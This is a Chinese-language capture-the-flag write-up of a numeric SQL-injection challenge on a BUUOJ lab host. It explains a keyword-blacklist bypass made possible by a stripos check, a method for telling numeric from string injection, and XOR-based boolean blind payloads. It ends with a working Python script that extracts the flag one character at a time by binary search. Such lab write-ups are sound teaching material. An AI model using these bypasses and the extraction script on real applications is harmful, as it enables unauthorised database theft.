题目已经告诉了是sql注入并且表名列名都是flag,尝试注入时发现很多字符和sql关键字都被过滤了,包括' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./'。但是匹配时是从第二位开始的,所以第一位可以出现上述字符/字符串(后来看到源码发现是因为判断语句为if(stripos($sql,$blackitem))
,第一位出现即使匹配到也是0,即假,第二位匹配到才是1)。
刚开始尝试注入时,发现单引号未过滤而双引号被过滤,误以为是双字符型注入,看了wp才知道是数字型。
刚开始时提交参数id=1 && extractvalut(1,concat('$',(select database())))
(此处非空格而是[tab])时可以正常回显id=1的数据,符合双字符型注入的特征,实际上这里是因为字符中的'&'在post中是一个特殊字符用来连接多个参数,而这里我并未进行转义/编码导致后续字符串被截断,实际只接受到id=1
,因此可以回显id=1的结果。并且即使进行编码,其中的','也已被过滤,因此做题时应该细心一点不应该在细节上耽误太多时间。
在判断数值型和字符串注入时还可以通过提交数学式的方式来判断,如提交'id=2/2',如果字符型则返回id=2的结果,如果是数值型则返回id=1的结果。
这里虽然过滤了很多字符,但是数值型注入+未过滤括号还是有很多方式可以注入,我们可以通过各种函数来构造布尔注入/时间盲注,例如提交'id=1^(length(select database())>10)'来判断数据库名长度,这里已经说明表名和列名,直接构造payload:'id=1^(length(select(flag)from(flag))>10)来判断flag长度为42位,这里可以用括号替代空格,也可以同[tab]及其他未过滤的空白符替代空格。然后利用strsub()函数逐位爆出flag,脚本如下:
import requests
import time
import re
url='http://2a70cf02-c4db-4a3c-97f6-7d7ed7322427.node3.buuoj.cn/index.php'
flag = ''
for i in range(1,43):
max = 127
min = 0
for c in range(0,127):
s = (int)((max+min)/2)
payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
max=s
else:
min=s
if((max-min)<=1):
flag+=chr(max)
break
print(flag)